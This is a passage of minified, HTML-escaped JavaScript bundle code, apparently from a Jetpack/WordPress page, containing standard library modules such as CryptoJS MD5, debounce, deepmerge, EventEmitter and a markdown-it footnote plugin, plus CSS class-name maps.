t=this.words,s=this.sigBytes;t[s&gt;&gt;&gt;2]&amp;=4294967295&lt;&lt;32-s%4*8,t.length=e.ceil(s/4)},clone:function(){var e=l.clone.call(this);return e.words=this.words.slice(0),e},random:function(e){for(var t=[],s=0;s&lt;e;s+=4)t.push(n());return new c.init(t,e)}}),u=a.enc={},d=u.Hex={stringify:function(e){for(var t=e.words,s=e.sigBytes,r=[],n=0;n&lt;s;n++){var o=t[n&gt;&gt;&gt;2]&gt;&gt;&gt;24-n%4*8&amp;255;r.push((o&gt;&gt;&gt;4).toString(16)),r.push((15&amp;o).toString(16))}return r.join(&quot;&quot;)},parse:function(e){for(var t=e.length,s=[],r=0;r&lt;t;r+=2)s[r&gt;&gt;&gt;3]|=parseInt(e.substr(r,2),16)&lt;&lt;24-r%8*4;return new c.init(s,t/2)}},p=u.Latin1={stringify:function(e){for(var t=e.words,s=e.sigBytes,r=[],n=0;n&lt;s;n++){var o=t[n&gt;&gt;&gt;2]&gt;&gt;&gt;24-n%4*8&amp;255;r.push(String.fromCharCode(o))}return r.join(&quot;&quot;)},parse:function(e){for(var t=e.length,s=[],r=0;r&lt;t;r++)s[r&gt;&gt;&gt;2]|=(255&amp;e.charCodeAt(r))&lt;&lt;24-r%4*8;return new c.init(s,t)}},h=u.Utf8={stringify:function(e){try{return decodeURIComponent(escape(p.stringify(e)))}catch(e){throw new Error(&quot;Malformed UTF-8 data&quot;)}},parse:function(e){return p.parse(unescape(encodeURIComponent(e)))}},m=i.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=new c.init,this._nDataBytes=0},_append:function(e){&quot;string&quot;==typeof e&amp;&amp;(e=h.parse(e)),this._data.concat(e),this._nDataBytes+=e.sigBytes},_process:function(t){var s,r=this._data,n=r.words,o=r.sigBytes,a=this.blockSize,i=o/(4*a),l=(i=t?e.ceil(i):e.max((0|i)-this._minBufferSize,0))*a,u=e.min(4*l,o);if(l){for(var d=0;d&lt;l;d+=a)this._doProcessBlock(n,d);s=n.splice(0,l),r.sigBytes-=u}return new c.init(s,u)},clone:function(){var e=l.clone.call(this);return e._data=this._data.clone(),e},_minBufferSize:0}),g=(i.Hasher=m.extend({cfg:l.extend(),init:function(e){this.cfg=this.cfg.extend(e),this.reset()},reset:function(){m.reset.call(this),this._doReset()},update:function(e){return this._append(e),this._process(),this},finalize:function(e){return e&amp;&amp;this._append(e),this._doFinalize()},blockSize:16,_createHelper:function(e){return function(t,s){return new e.init(s).finalize(t)}},_createHmacHelper:function(e){return function(t,s){return new g.HMAC.init(e,s).finalize(t)}}}),a.algo={});return a}(Math),r)},70960(e,t,s){var r;e.exports=(r=s(51601),function(e){var t=r,s=t.lib,n=s.WordArray,o=s.Hasher,a=t.algo,i=[];!function(){for(var t=0;t&lt;64;t++)i[t]=4294967296*e.abs(e.sin(t+1))|0}();var l=a.MD5=o.extend({_doReset:function(){this._hash=new n.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(e,t){for(var s=0;s&lt;16;s++){var r=t+s,n=e[r];e[r]=16711935&amp;(n&lt;&lt;8|n&gt;&gt;&gt;24)|4278255360&amp;(n&lt;&lt;24|n&gt;&gt;&gt;8)}var o=this._hash.words,a=e[t+0],l=e[t+1],h=e[t+2],m=e[t+3],g=e[t+4],f=e[t+5],b=e[t+6],v=e[t+7],k=e[t+8],y=e[t+9],x=e[t+10],j=e[t+11],w=e[t+12],_=e[t+13],C=e[t+14],A=e[t+15],S=o[0],E=o[1],N=o[2],T=o[3];S=c(S,E,N,T,a,7,i[0]),T=c(T,S,E,N,l,12,i[1]),N=c(N,T,S,E,h,17,i[2]),E=c(E,N,T,S,m,22,i[3]),S=c(S,E,N,T,g,7,i[4]),T=c(T,S,E,N,f,12,i[5]),N=c(N,T,S,E,b,17,i[6]),E=c(E,N,T,S,v,22,i[7]),S=c(S,E,N,T,k,7,i[8]),T=c(T,S,E,N,y,12,i[9]),N=c(N,T,S,E,x,17,i[10]),E=c(E,N,T,S,j,22,i[11]),S=c(S,E,N,T,w,7,i[12]),T=c(T,S,E,N,_,12,i[13]),N=c(N,T,S,E,C,17,i[14]),S=u(S,E=c(E,N,T,S,A,22,i[15]),N,T,l,5,i[16]),T=u(T,S,E,N,b,9,i[17]),N=u(N,T,S,E,j,14,i[18]),E=u(E,N,T,S,a,20,i[19]),S=u(S,E,N,T,f,5,i[20]),T=u(T,S,E,N,x,9,i[21]),N=u(N,T,S,E,A,14,i[22]),E=u(E,N,T,S,g,20,i[23]),S=u(S,E,N,T,y,5,i[24]),T=u(T,S,E,N,C,9,i[25]),N=u(N,T,S,E,m,14,i[26]),E=u(E,N,T,S,k,20,i[27]),S=u(S,E,N,T,_,5,i[28]),T=u(T,S,E,N,h,9,i[29]),N=u(N,T,S,E,v,14,i[30]),S=d(S,E=u(E,N,T,S,w,20,i[31]),N,T,f,4,i[32]),T=d(T,S,E,N,k,11,i[33]),N=d(N,T,S,E,j,16,i[34]),E=d(E,N,T,S,C,23,i[35]),S=d(S,E,N,T,l,4,i[36]),T=d(T,S,E,N,g,11,i[37]),N=d(N,T,S,E,v,16,i[38]),E=d(E,N,T,S,x,23,i[39]),S=d(S,E,N,T,_,4,i[40]),T=d(T,S,E,N,a,11,i[41]),N=d(N,T,S,E,m,16,i[42]),E=d(E,N,T,S,b,23,i[43]),S=d(S,E,N,T,y,4,i[44]),T=d(T,S,E,N,w,11,i[45]),N=d(N,T,S,E,A,16,i[46]),S=p(S,E=d(E,N,T,S,h,23,i[47]),N,T,a,6,i[48]),T=p(T,S,E,N,v,10,i[49]),N=p(N,T,S,E,C,15,i[50]),E=p(E,N,T,S,f,21,i[51]),S=p(S,E,N,T,w,6,i[52]),T=p(T,S,E,N,m,10,i[53]),N=p(N,T,S,E,x,15,i[54]),E=p(E,N,T,S,l,21,i[55]),S=p(S,E,N,T,k,6,i[56]),T=p(T,S,E,N,A,10,i[57]),N=p(N,T,S,E,b,15,i[58]),E=p(E,N,T,S,_,21,i[59]),S=p(S,E,N,T,g,6,i[60]),T=p(T,S,E,N,j,10,i[61]),N=p(N,T,S,E,h,15,i[62]),E=p(E,N,T,S,y,21,i[63]),o[0]=o[0]+S|0,o[1]=o[1]+E|0,o[2]=o[2]+N|0,o[3]=o[3]+T|0},_doFinalize:function(){var t=this._data,s=t.words,r=8*this._nDataBytes,n=8*t.sigBytes;s[n&gt;&gt;&gt;5]|=128&lt;&lt;24-n%32;var o=e.floor(r/4294967296),a=r;s[15+(n+64&gt;&gt;&gt;9&lt;&lt;4)]=16711935&amp;(o&lt;&lt;8|o&gt;&gt;&gt;24)|4278255360&amp;(o&lt;&lt;24|o&gt;&gt;&gt;8),s[14+(n+64&gt;&gt;&gt;9&lt;&lt;4)]=16711935&amp;(a&lt;&lt;8|a&gt;&gt;&gt;24)|4278255360&amp;(a&lt;&lt;24|a&gt;&gt;&gt;8),t.sigBytes=4*(s.length+1),this._process();for(var i=this._hash,l=i.words,c=0;c&lt;4;c++){var u=l[c];l[c]=16711935&amp;(u&lt;&lt;8|u&gt;&gt;&gt;24)|4278255360&amp;(u&lt;&lt;24|u&gt;&gt;&gt;8)}return i},clone:function(){var e=o.clone.call(this);return e._hash=this._hash.clone(),e}});function c(e,t,s,r,n,o,a){var i=e+(t&amp;s|~t&amp;r)+n+a;return(i&lt;&lt;o|i&gt;&gt;&gt;32-o)+t}function u(e,t,s,r,n,o,a){var i=e+(t&amp;r|s&amp;~r)+n+a;return(i&lt;&lt;o|i&gt;&gt;&gt;32-o)+t}function d(e,t,s,r,n,o,a){var i=e+(t^s^r)+n+a;return(i&lt;&lt;o|i&gt;&gt;&gt;32-o)+t}function p(e,t,s,r,n,o,a){var i=e+(s^(t|~r))+n+a;return(i&lt;&lt;o|i&gt;&gt;&gt;32-o)+t}t.MD5=o._createHelper(l),t.HmacMD5=o._createHmacHelper(l)}(Math),r.MD5)},86954(e){function t(e,t=100,s={}){if(&quot;function&quot;!=typeof e)throw new TypeError(`Expected the first parameter to be a function, got \`${typeof e}\`.`);if(t&lt;0)throw new RangeError(&quot;`wait` must not be negative.&quot;);const{immediate:r}=&quot;boolean&quot;==typeof s?{immediate:s}:s;let n,o,a,i,l;function c(){const t=n,s=o;return n=void 0,o=void 0,l=e.apply(t,s),l}function u(){const e=Date.now()-i;e&lt;t&amp;&amp;e&gt;=0?a=setTimeout(u,t-e):(a=void 0,r||(l=c()))}const d=function(...e){if(n&amp;&amp;this!==n&amp;&amp;Object.getPrototypeOf(this)===Object.getPrototypeOf(n))throw new Error(&quot;Debounced method called with different contexts of the same prototype.&quot;);n=this,o=e,i=Date.now();const s=r&amp;&amp;!a;return a||(a=setTimeout(u,t)),s&amp;&amp;(l=c()),l};return Object.defineProperty(d,&quot;isPending&quot;,{get:()=&gt;void 0!==a}),d.clear=()=&gt;{a&amp;&amp;(clearTimeout(a),a=void 0)},d.flush=()=&gt;{a&amp;&amp;d.trigger()},d.trigger=()=&gt;{l=c(),d.clear()},d}e.exports.debounce=t,e.exports=t},93764(e){&quot;use strict&quot;;var t=function(e){return function(e){return!!e&amp;&amp;&quot;object&quot;==typeof e}(e)&amp;&amp;!function(e){var t=Object.prototype.toString.call(e);return&quot;[object RegExp]&quot;===t||&quot;[object Date]&quot;===t||function(e){return e.$$typeof===s}(e)}(e)};var s=&quot;function&quot;==typeof Symbol&amp;&amp;Symbol.for?Symbol.for(&quot;react.element&quot;):60103;function r(e,t){return!1!==t.clone&amp;&amp;t.isMergeableObject(e)?l((s=e,Array.isArray(s)?[]:{}),e,t):e;var s}function n(e,t,s){return e.concat(t).map(function(e){return r(e,s)})}function o(e){return Object.keys(e).concat(function(e){return Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(e).filter(function(t){return Object.propertyIsEnumerable.call(e,t)}):[]}(e))}function a(e,t){try{return t in e}catch(e){return!1}}function i(e,t,s){var n={};return s.isMergeableObject(e)&amp;&amp;o(e).forEach(function(t){n[t]=r(e[t],s)}),o(t).forEach(function(o){(function(e,t){return a(e,t)&amp;&amp;!(Object.hasOwnProperty.call(e,t)&amp;&amp;Object.propertyIsEnumerable.call(e,t))})(e,o)||(a(e,o)&amp;&amp;s.isMergeableObject(t[o])?n[o]=function(e,t){if(!t.customMerge)return l;var s=t.customMerge(e);return&quot;function&quot;==typeof s?s:l}(o,s)(e[o],t[o],s):n[o]=r(t[o],s))}),n}function l(e,s,o){(o=o||{}).arrayMerge=o.arrayMerge||n,o.isMergeableObject=o.isMergeableObject||t,o.cloneUnlessOtherwiseSpecified=r;var a=Array.isArray(s);return a===Array.isArray(e)?a?o.arrayMerge(e,s,o):i(e,s,o):r(s,o)}l.all=function(e,t){if(!Array.isArray(e))throw new Error(&quot;first argument should be an array&quot;);return e.reduce(function(e,s){return l(e,s,t)},{})};var c=l;e.exports=c},39904(e,t){&quot;use strict&quot;;var s=/^[-!#$%&amp;&#039;*+\/0-9=?A-Z^_a-z{|}~](\.?[-!#$%&amp;&#039;*+\/0-9=?A-Z^_a-z`{|}~])*@[a-zA-Z0-9](-*\.?[a-zA-Z0-9])*\.[a-zA-Z](-?[a-zA-Z0-9])+$/;t.t=function(e){if(!e)return!1;if(e.length&gt;254)return!1;if(!s.test(e))return!1;var t=e.split(&quot;@&quot;);return!(t[0].length&gt;64)&amp;&amp;!t[1].split(&quot;.&quot;).some(function(e){return e.length&gt;63})}},2467(e){&quot;use strict&quot;;var t,s=&quot;object&quot;==typeof Reflect?Reflect:null,r=s&amp;&amp;&quot;function&quot;==typeof s.apply?s.apply:function(e,t,s){return Function.prototype.apply.call(e,t,s)};t=s&amp;&amp;&quot;function&quot;==typeof s.ownKeys?s.ownKeys:Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function(e){return Object.getOwnPropertyNames(e)};var n=Number.isNaN||function(e){return e!=e};function o(){o.init.call(this)}e.exports=o,e.exports.once=function(e,t){return new Promise(function(s,r){function n(s){e.removeListener(t,o),r(s)}function o(){&quot;function&quot;==typeof e.removeListener&amp;&amp;e.removeListener(&quot;error&quot;,n),s([].slice.call(arguments))}g(e,t,o,{once:!0}),&quot;error&quot;!==t&amp;&amp;function(e,t,s){&quot;function&quot;==typeof e.on&amp;&amp;g(e,&quot;error&quot;,t,s)}(e,n,{once:!0})})},o.EventEmitter=o,o.prototype._events=void 0,o.prototype._eventsCount=0,o.prototype._maxListeners=void 0;var a=10;function i(e){if(&quot;function&quot;!=typeof e)throw new TypeError(&#039;The &quot;listener&quot; argument must be of type Function. Received type &#039;+typeof e)}function l(e){return void 0===e._maxListeners?o.defaultMaxListeners:e._maxListeners}function c(e,t,s,r){var n,o,a,c;if(i(s),void 0===(o=e._events)?(o=e._events=Object.create(null),e._eventsCount=0):(void 0!==o.newListener&amp;&amp;(e.emit(&quot;newListener&quot;,t,s.listener?s.listener:s),o=e._events),a=o[t]),void 0===a)a=o[t]=s,++e._eventsCount;else if(&quot;function&quot;==typeof a?a=o[t]=r?[s,a]:[a,s]:r?a.unshift(s):a.push(s),(n=l(e))&gt;0&amp;&amp;a.length&gt;n&amp;&amp;!a.warned){a.warned=!0;var u=new Error(&quot;Possible EventEmitter memory leak detected. &quot;+a.length+&quot; &quot;+String(t)+&quot; listeners added. Use emitter.setMaxListeners() to increase limit&quot;);u.name=&quot;MaxListenersExceededWarning&quot;,u.emitter=e,u.type=t,u.count=a.length,c=u,console&amp;&amp;console.warn&amp;&amp;console.warn(c)}return e}function u(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,0===arguments.length?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function d(e,t,s){var r={fired:!1,wrapFn:void 0,target:e,type:t,listener:s},n=u.bind(r);return n.listener=s,r.wrapFn=n,n}function p(e,t,s){var r=e._events;if(void 0===r)return[];var n=r[t];return void 0===n?[]:&quot;function&quot;==typeof n?s?[n.listener||n]:[n]:s?function(e){for(var t=new Array(e.length),s=0;s&lt;t.length;++s)t[s]=e[s].listener||e[s];return t}(n):m(n,n.length)}function h(e){var t=this._events;if(void 0!==t){var s=t[e];if(&quot;function&quot;==typeof s)return 1;if(void 0!==s)return s.length}return 0}function m(e,t){for(var s=new Array(t),r=0;r&lt;t;++r)s[r]=e[r];return s}function g(e,t,s,r){if(&quot;function&quot;==typeof e.on)r.once?e.once(t,s):e.on(t,s);else{if(&quot;function&quot;!=typeof e.addEventListener)throw new TypeError(&#039;The &quot;emitter&quot; argument must be of type EventEmitter. Received type &#039;+typeof e);e.addEventListener(t,function n(o){r.once&amp;&amp;e.removeEventListener(t,n),s(o)})}}Object.defineProperty(o,&quot;defaultMaxListeners&quot;,{enumerable:!0,get:function(){return a},set:function(e){if(&quot;number&quot;!=typeof e||e&lt;0||n(e))throw new RangeError(&#039;The value of &quot;defaultMaxListeners&quot; is out of range. It must be a non-negative number. Received &#039;+e+&quot;.&quot;);a=e}}),o.init=function(){void 0!==this._events&amp;&amp;this._events!==Object.getPrototypeOf(this)._events||(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},o.prototype.setMaxListeners=function(e){if(&quot;number&quot;!=typeof e||e&lt;0||n(e))throw new RangeError(&#039;The value of &quot;n&quot; is out of range. It must be a non-negative number. Received &#039;+e+&quot;.&quot;);return this._maxListeners=e,this},o.prototype.getMaxListeners=function(){return l(this)},o.prototype.emit=function(e){for(var t=[],s=1;s&lt;arguments.length;s++)t.push(arguments[s]);var n=&quot;error&quot;===e,o=this._events;if(void 0!==o)n=n&amp;&amp;void 0===o.error;else if(!n)return!1;if(n){var a;if(t.length&gt;0&amp;&amp;(a=t[0]),a instanceof Error)throw a;var i=new Error(&quot;Unhandled error.&quot;+(a?&quot; (&quot;+a.message+&quot;)&quot;:&quot;&quot;));throw i.context=a,i}var l=o[e];if(void 0===l)return!1;if(&quot;function&quot;==typeof l)r(l,this,t);else{var c=l.length,u=m(l,c);for(s=0;s&lt;c;++s)r(u[s],this,t)}return!0},o.prototype.addListener=function(e,t){return c(this,e,t,!1)},o.prototype.on=o.prototype.addListener,o.prototype.prependListener=function(e,t){return c(this,e,t,!0)},o.prototype.once=function(e,t){return i(t),this.on(e,d(this,e,t)),this},o.prototype.prependOnceListener=function(e,t){return i(t),this.prependListener(e,d(this,e,t)),this},o.prototype.removeListener=function(e,t){var s,r,n,o,a;if(i(t),void 0===(r=this._events))return this;if(void 0===(s=r[e]))return this;if(s===t||s.listener===t)0===--this._eventsCount?this._events=Object.create(null):(delete r[e],r.removeListener&amp;&amp;this.emit(&quot;removeListener&quot;,e,s.listener||t));else if(&quot;function&quot;!=typeof s){for(n=-1,o=s.length-1;o&gt;=0;o--)if(s[o]===t||s[o].listener===t){a=s[o].listener,n=o;break}if(n&lt;0)return this;0===n?s.shift():function(e,t){for(;t+1&lt;e.length;t++)e[t]=e[t+1];e.pop()}(s,n),1===s.length&amp;&amp;(r[e]=s[0]),void 0!==r.removeListener&amp;&amp;this.emit(&quot;removeListener&quot;,e,a||t)}return this},o.prototype.off=o.prototype.removeListener,o.prototype.removeAllListeners=function(e){var t,s,r;if(void 0===(s=this._events))return this;if(void 0===s.removeListener)return 0===arguments.length?(this._events=Object.create(null),this._eventsCount=0):void 0!==s[e]&amp;&amp;(0===--this._eventsCount?this._events=Object.create(null):delete s[e]),this;if(0===arguments.length){var n,o=Object.keys(s);for(r=0;r&lt;o.length;++r)&quot;removeListener&quot;!==(n=o[r])&amp;&amp;this.removeAllListeners(n);return this.removeAllListeners(&quot;removeListener&quot;),this._events=Object.create(null),this._eventsCount=0,this}if(&quot;function&quot;==typeof(t=s[e]))this.removeListener(e,t);else if(void 0!==t)for(r=t.length-1;r&gt;=0;r--)this.removeListener(e,t[r]);return this},o.prototype.listeners=function(e){return p(this,e,!0)},o.prototype.rawListeners=function(e){return p(this,e,!1)},o.listenerCount=function(e,t){return&quot;function&quot;==typeof e.listenerCount?e.listenerCount(t):h.call(e,t)},o.prototype.listenerCount=h,o.prototype.eventNames=function(){return this._eventsCount&gt;0?t(this._events):[]}},58314(e){e.exports=function(e){return null!=e&amp;&amp;null!=e.constructor&amp;&amp;&quot;function&quot;==typeof e.constructor.isBuffer&amp;&amp;e.constructor.isBuffer(e)}},20305(e){&quot;use strict&quot;;function t(e,t,s,r){var n=Number(e[t].meta.id+1).toString(),o=&quot;&quot;;return&quot;string&quot;==typeof r.docId&amp;&amp;(o=&quot;-&quot;+r.docId+&quot;-&quot;),o+n}function s(e,t){var s=Number(e[t].meta.id+1).toString();return e[t].meta.subId&gt;0&amp;&amp;(s+=&quot;:&quot;+e[t].meta.subId),&quot;[&quot;+s+&quot;]&quot;}function r(e,t,s,r,n){var o=n.rules.footnote_anchor_name(e,t,s,r,n),a=n.rules.footnote_caption(e,t,s,r,n),i=o;return e[t].meta.subId&gt;0&amp;&amp;(i+=&quot;:&quot;+e[t].meta.subId),&#039;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn&#039;+o+&#039;&quot; id=&quot;fnref&#039;+i+&#039;&quot;&gt;&#039;+a+&quot;&lt;/a&gt;&lt;/sup&gt;&quot;}function n(e,t,s){return(s.xhtmlOut?&#039;&lt;hr class=&quot;footnotes-sep&quot; /&gt;\n&#039;:&#039;&lt;hr class=&quot;footnotes-sep&quot;&gt;\n&#039;)+&#039;&lt;section class=&quot;footnotes&quot;&gt;\n&lt;ol class=&quot;footnotes-list&quot;&gt;\n&#039;}function o(){return&quot;&lt;/ol&gt;\n&lt;/section&gt;\n&quot;}function a(e,t,s,r,n){var o=n.rules.footnote_anchor_name(e,t,s,r,n);return e[t].meta.subId&gt;0&amp;&amp;(o+=&quot;:&quot;+e[t].meta.subId),&#039;&lt;li id=&quot;fn&#039;+o+&#039;&quot; class=&quot;footnote-item&quot;&gt;&#039;}function i(){return&quot;&lt;/li&gt;\n&quot;}function l(e,t,s,r,n){var o=n.rules.footnote_anchor_name(e,t,s,r,n);return e[t].meta.subId&gt;0&amp;&amp;(o+=&quot;:&quot;+e[t].meta.subId),&#039; &lt;a href=&quot;#fnref&#039;+o+&#039;&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&#039;}e.exports=function(e){var c=e.helpers.parseLinkLabel,u=e.utils.isSpace;e.renderer.rules.footnote_ref=r,e.renderer.rules.footnote_block_open=n,e.renderer.rules.footnote_block_close=o,e.renderer.rules.footnote_open=a,e.renderer.rules.footnote_close=i,e.renderer.rules.footnote_anchor=l,e.renderer.rules.footnote_caption=s,e.renderer.rules.footnote_anchor_name=t,e.block.ruler.before(&quot;reference&quot;,&quot;footnote_def&quot;,function(e,t,s,r){var n,o,a,i,l,c,d,p,h,m,g,f=e.bMarks[t]+e.tShift[t],b=e.eMarks[t];if(f+4&gt;b)return!1;if(91!==e.src.charCodeAt(f))return!1;if(94!==e.src.charCodeAt(f+1))return!1;for(l=f+2;l&lt;b;l++){if(32===e.src.charCodeAt(l))return!1;if(93===e.src.charCodeAt(l))break}if(l===f+2)return!1;if(l+1&gt;=b||58!==e.src.charCodeAt(++l))return!1;if(r)return!0;for(l++,e.env.footnotes||(e.env.footnotes={}),e.env.footnotes.refs||(e.env.footnotes.refs={}),c=e.src.slice(f+2,l-2),e.env.footnotes.refs[&quot;:&quot;+c]=-1,(d=new e.Token(&quot;footnote_reference_open&quot;,&quot;&quot;,1)).meta={label:c},d.level=e.level++,e.tokens.push(d),n=e.bMarks[t],o=e.tShift[t],a=e.sCount[t],i=e.parentType,g=l,p=h=e.sCount[t]+l-(e.bMarks[t]+e.tShift[t]);l&lt;b&amp;&amp;(m=e.src.charCodeAt(l),u(m));)9===m?h+=4-h%4:h++,l++;return e.tShift[t]=l-g,e.sCount[t]=h-p,e.bMarks[t]=g,e.blkIndent+=4,e.parentType=&quot;footnote&quot;,e.sCount[t]&lt;e.blkIndent&amp;&amp;(e.sCount[t]+=e.blkIndent),e.md.block.tokenize(e,t,s,!0),e.parentType=i,e.blkIndent-=4,e.tShift[t]=o,e.sCount[t]=a,e.bMarks[t]=n,(d=new e.Token(&quot;footnote_reference_close&quot;,&quot;&quot;,-1)).level=--e.level,e.tokens.push(d),!0},{alt:[&quot;paragraph&quot;,&quot;reference&quot;]}),e.inline.ruler.after(&quot;image&quot;,&quot;footnote_inline&quot;,function(e,t){var s,r,n,o,a=e.posMax,i=e.pos;return!(i+2&gt;=a)&amp;&amp;(94===e.src.charCodeAt(i)&amp;&amp;(91===e.src.charCodeAt(i+1)&amp;&amp;(s=i+2,!((r=c(e,i+1))&lt;0)&amp;&amp;(t||(e.env.footnotes||(e.env.footnotes={}),e.env.footnotes.list||(e.env.footnotes.list=[]),n=e.env.footnotes.list.length,e.md.inline.parse(e.src.slice(s,r),e.md,e.env,o=[]),e.push(&quot;footnote_ref&quot;,&quot;&quot;,0).meta={id:n},e.env.footnotes.list[n]={content:e.src.slice(s,r),tokens:o}),e.pos=r+1,e.posMax=a,!0))))}),e.inline.ruler.after(&quot;footnote_inline&quot;,&quot;footnote_ref&quot;,function(e,t){var s,r,n,o,a=e.posMax,i=e.pos;if(i+3&gt;a)return!1;if(!e.env.footnotes||!e.env.footnotes.refs)return!1;if(91!==e.src.charCodeAt(i))return!1;if(94!==e.src.charCodeAt(i+1))return!1;for(r=i+2;r&lt;a;r++){if(32===e.src.charCodeAt(r))return!1;if(10===e.src.charCodeAt(r))return!1;if(93===e.src.charCodeAt(r))break}return r!==i+2&amp;&amp;(!(r&gt;=a)&amp;&amp;(r++,s=e.src.slice(i+2,r-1),void 0!==e.env.footnotes.refs[&quot;:&quot;+s]&amp;&amp;(t||(e.env.footnotes.list||(e.env.footnotes.list=[]),e.env.footnotes.refs[&quot;:&quot;+s]&lt;0?(n=e.env.footnotes.list.length,e.env.footnotes.list[n]={label:s,count:0},e.env.footnotes.refs[&quot;:&quot;+s]=n):n=e.env.footnotes.refs[&quot;:&quot;+s],o=e.env.footnotes.list[n].count,e.env.footnotes.list[n].count++,e.push(&quot;footnote_ref&quot;,&quot;&quot;,0).meta={id:n,subId:o,label:s}),e.pos=r,e.posMax=a,!0)))}),e.core.ruler.after(&quot;inline&quot;,&quot;footnote_tail&quot;,function(e){var t,s,r,n,o,a,i,l,c,u,d=!1,p={};if(e.env.footnotes&amp;&amp;(e.tokens=e.tokens.filter(function(e){return&quot;footnote_reference_open&quot;===e.type?(d=!0,c=[],u=e.meta.label,!1):&quot;footnote_reference_close&quot;===e.type?(d=!1,p[&quot;:&quot;+u]=c,!1):(d&amp;&amp;c.push(e),!d)}),e.env.footnotes.list)){for(a=e.env.footnotes.list,i=new e.Token(&quot;footnote_block_open&quot;,&quot;&quot;,1),e.tokens.push(i),t=0,s=a.length;t&lt;s;t++){for((i=new e.Token(&quot;footnote_open&quot;,&quot;&quot;,1)).meta={id:t,label:a[t].label},e.tokens.push(i),a[t].tokens?(l=[],(i=new e.Token(&quot;paragraph_open&quot;,&quot;p&quot;,1)).block=!0,l.push(i),(i=new e.Token(&quot;inline&quot;,&quot;&quot;,0)).children=a[t].tokens,i.content=a[t].content,l.push(i),(i=new e.Token(&quot;paragraph_close&quot;,&quot;p&quot;,-1)).block=!0,l.push(i)):a[t].label&amp;&amp;(l=p[&quot;:&quot;+a[t].label]),l&amp;&amp;(e.tokens=e.tokens.concat(l)),o=&quot;paragraph_close&quot;===e.tokens[e.tokens.length-1].type?e.tokens.pop():null,n=a[t].count&gt;0?a[t].count:1,r=0;r&lt;n;r++)(i=new e.Token(&quot;footnote_anchor&quot;,&quot;&quot;,0)).meta={id:t,subId:r,label:a[t].label},e.tokens.push(i);o&amp;&amp;e.tokens.push(o),i=new e.Token(&quot;footnote_close&quot;,&quot;&quot;,-1),e.tokens.push(i)}i=new e.Token(&quot;footnote_block_close&quot;,&quot;&quot;,-1),e.tokens.push(i)}})}},81443(){},81913(){},10169(){},79209(){},97011(){},54339(){},557(){},93208(){},11008(){},28494(){},17277(){},8655(){},35797(){},45736(){},24046(){},55941(){},47341(){},58275(){},86263(){},85488(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={button:&quot;zI5tJ_qhWE6Oe6Lk75GY&quot;,&quot;is-icon-button&quot;:&quot;tuBt2DLqimiImoqVzPqo&quot;,small:&quot;Na39I683LAaSA99REg14&quot;,normal:&quot;ipS7tKy9GntCS4R3vekF&quot;,icon:&quot;paGLQwtPEaJmtArCcmyK&quot;,regular:&quot;lZAo6_oGfclXOO9CC6Rd&quot;,&quot;full-width&quot;:&quot;xJDOiJxTt0R_wSl8Ipz_&quot;,loading:&quot;q_tVWqMjl39RcY6WtQA6&quot;,&quot;external-icon&quot;:&quot;CDuBjJp_8jxzx5j6Nept&quot;}},56058(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={&quot;star-icon&quot;:&quot;cuoSlhSNrqf1dozY22Xb&quot;,jetpack:&quot;lAIiifeLMmZAPlQ9n9ZR&quot;,&quot;checkmark-icon&quot;:&quot;JLquNpQVlysAamuh5lJO&quot;,socialIcon:&quot;cbOwD8Y4tFjwimmtchQI&quot;,bluesky:&quot;aLWBKY0yRghEk7tNCgK3&quot;,facebook:&quot;aHOlEBGD5EA8NKRw3xTw&quot;,twitter:&quot;af4Y_zItXvLAOEoSDPSv&quot;,linkedin:&quot;f68aqF3XSD1OBvXR1get&quot;,tumblr:&quot;xFI0dt3UiXRlRQdqPWkx&quot;,google:&quot;q7JEoyymveP6kF747M43&quot;,mastodon:&quot;DKOBOTVmTLbh26gUH_73&quot;,nextdoor:&quot;n5XodNsuMfMAAvqHFmbw&quot;,instagram:&quot;cL3m0xBYTYhIKI7lCqDB&quot;,whatsapp:&quot;fftumuc_lJ6v0tq4UMVR&quot;,threads:&quot;inzgC27qxdt7hSdhTWRI&quot;,x:&quot;PW9A5OHnDYBX0yNn9RHO&quot;}},39029(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={sm:&quot;(max-width: 599px)&quot;,md:&quot;(min-width: 600px) and (max-width: 959px)&quot;,lg:&quot;(min-width: 960px)&quot;}},13372(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={placeholder:&quot;NisihrgiIKl_knpYJtfg&quot;,pulse:&quot;R2i0K45dEF157drbVRPI&quot;}},74116(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={global:&quot;_fUXxnSp5pagKBp9gSN7&quot;}},68071(){},15016(){},1103(){},28745(){},4521(){},61802(){},11672(){},57589(){},2128(){},38914(){},84998(){},78924(){},96929(){},92442(){},27998(){},57908(){},16341(){},24716(){},16585(){},44110(){},74587(){},47189(){},3269(){},6692(){},95178(){},13951(){},12069(){},68579(){},69084(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={&quot;link-preview-modal&quot;:&quot;uuzr0ceItcil_58_n92b&quot;,&quot;link-preview-tabs&quot;:&quot;qFkKYGmOWLHX2m3wwVe7&quot;,&quot;link-preview-tab&quot;:&quot;f6uLY4Sqr5h5ZlN9439o&quot;}},34927(){},26233(){},50920(){},45608(){},47894(){},16282(){},14808(){},18155(){},40320(){},8277(){},11141(){},24625(){},16348(){},88627(){},34566(){},32991(){},93386(){},87495(){},1947(){},55179(){},8221(){},98989(){},47698(){},83572(){},41660(){},46236(){},3749(){},81699(){},55883(){},64799(){},85637(){},4064(){},59400(){},61824(){},52054(){},79719(){},89592(){},23115(){},71035(){},23320(){},72847(){},27544(){},27400(){},82933(){},96117(){},56463(){},60335(){},3255(){},82741(){},55841(){},76602(){},71293(){},62585(){},87264(){},96854(){},98920(){},12315(){},31501(){},70855(){},28868(){},73309(){},97225(){},5271(){},48289(){},95341(){},42646(){},72556(){},25440(){},65255(){},3983(){},86